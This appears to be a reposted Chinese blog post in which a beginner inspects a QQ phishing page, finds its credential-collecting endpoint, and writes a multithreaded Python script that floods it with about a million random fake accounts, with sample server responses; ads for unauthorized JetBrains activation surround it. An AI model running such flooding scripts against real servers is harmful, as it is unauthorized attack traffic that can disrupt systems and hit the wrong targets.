大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺
当python小白遇到QQ钓鱼网站
今天又是和平(无聊)的一天,突然我的qq邮箱接受到一个信息,我向往常一样想着—-这又是一个垃圾信息。但当我打开看到内容时,嗯 0.o ~~。没错,它吸引了我。
嗯??嘿嘿,我满怀期待的点了进去。出现了一个网址,我继续点了进去。我渐渐猜到了答案。
哈哈,果然是钓鱼网站,淦!我到底在期待什么。我开始生气了。我f12开始查看源码。花了一点时间终于被我找到了关键的地方。嘿嘿,既然你这么想盗qq号,一个“邪恶”的想法在我心中发芽。
这个是点击登录的js代码。又花了一点时间我找到了真正保存账号和密码的url。
哟嚯~~ 好家伙,还是国外的服务器,嘿嘿。
这是参数变量。稍后会用到。
接下来我们打开postman试一试。
嘿嘿,成功了。既然你这么想要qq号,那我就在你数据库里面插入足够多的“qq号”。
接下来上python代码。
import requests
import random
import time
from threading import Thread
def fun():
url = "http://shengts0056nz.top/save.php"
for i in range(100000):
# form-data参数要写成如下格式,注意有None
u = ""
p = ""
code = ""
for i in range(8):
ch = chr(random.randrange(ord('1'), ord('9') + 1))
u += ch
ch1 = chr(random.randrange(ord('0'),ord('9') + 1))
p += ch1
for i in range(6):
ch2 = chr(random.randrange(ord('0'), ord('9') + 1))
code += ch2
print(u+'-----'+p+'------'+code)
data = {
"u": (None, u),
"p": (None, p),
"h": (None, "qinglv"),
"code": (None, code)
}
# 此种方式发送form-data类型参数时,请求时不要headers,且用files参数
response = requests.request("POST", url, files=data)
print(response.text)
if __name__ == '__main__':
for i in range(10):
Thread(target=fun).start()
我们看下结果
{
"code":"100","msg":"ok"}
73526234-----42531555------167965
{
"code":"100","msg":"ok"}
25596369-----95633045------304276
{
"code":"100","msg":"ok"}
59393119-----94890115------582499
{
"code":"100","msg":"ok"}
14698391-----15412237------162877
舒服了,哈哈。(● ̄(エ) ̄●)
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/172695.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...